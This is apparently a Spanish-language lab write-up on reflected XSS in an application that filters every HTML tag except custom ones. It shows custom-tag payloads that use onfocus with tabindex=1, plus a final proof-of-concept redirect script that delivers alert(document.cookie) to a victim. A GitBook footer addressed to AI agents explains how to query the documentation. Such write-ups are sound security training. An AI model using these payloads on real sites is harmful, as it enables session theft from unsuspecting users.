> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/reflected-xss-with-custom-tags-only.md).

# XSS reflejado con solo etiquetas personalizadas

### XSS reflejada en el contexto HTML con todas las etiquetas bloqueadas excepto las personalizadas

Esta aplicación bloquea todas las etiquetas HTML "clásicas"; solo se permiten elementos personalizados. El objetivo del laboratorio es inyectar una etiqueta personalizada que se ejecute automáticamente `alert(document.cookie)` (aquí quieres robar la cookie de sesión mediante la alerta).

Observaciones y enfoque (reformulado)

* Como se filtran todas las etiquetas estándar, la técnica consiste en definir/insertar una etiqueta personalizada que el navegador aceptará.
* Una etiqueta personalizada puede contener manejadores de eventos, pero algunos eventos solo se producen si el elemento puede recibir el foco.
* Los elementos personalizados no son enfocables de forma predeterminada; por lo tanto, es necesario forzar el foco añadiendo `tabindex=1` para que el evento relacionado se ejecute al interactuar (por ejemplo, al hacer clic o al tabular).

<figure><img src="/files/57fe39404e5a5b480957d78c55c96b19ff468601" alt=""><figcaption></figcaption></figure>

1. Etiqueta simple — no enfocables (no ejecuta alert):

```javascript
<jordan onfocus=alert(0)>HELLO
```

2. La misma etiqueta, hecha enfocables con `tabindex` — `onfocus` funciona:

```javascript
<jordan onfocus=alert(0) tabindex=1>HELLO
```

<figure><img src="/files/ab8348bea1ceb16bcc5eb140358918f44e6df30b" alt=""><figcaption></figcaption></figure>

Prueba de concepto final (exfiltración mediante redirección)

* Construimos una URL que inyecta la etiqueta personalizada con un `onfocus` que invoca `alert(document.cookie)` y forzamos el foco mediante `tabindex=1`.
* Ejemplo de payload para enviar a la víctima (inyección codificada en URL en el `búsqueda` parámetro):

{% code overflow="wrap" %}

```javascript
<script>
location = 'https://0a07009c03dde34d825bba7b0028004d.web-security-academy.net/?search=%3Cjordan%20id=x%20onfocus=alert(document.cookie)%20tabindex=1%3E#x';
</script>
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xss/reflected-xss-with-custom-tags-only.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
